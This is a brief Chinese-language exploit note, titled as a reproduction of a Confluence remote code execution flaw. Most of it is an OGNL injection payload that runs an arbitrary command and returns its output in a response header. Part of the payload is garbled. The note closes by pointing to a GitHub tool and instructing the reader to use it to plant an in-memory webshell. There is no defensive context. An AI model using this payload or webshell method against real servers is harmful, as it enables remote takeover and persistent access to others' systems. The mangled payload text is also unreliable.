漏洞复现 – confluence 远程代码执行

/${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("COMMAND").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}/

https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL

使用此工具直接写入内存马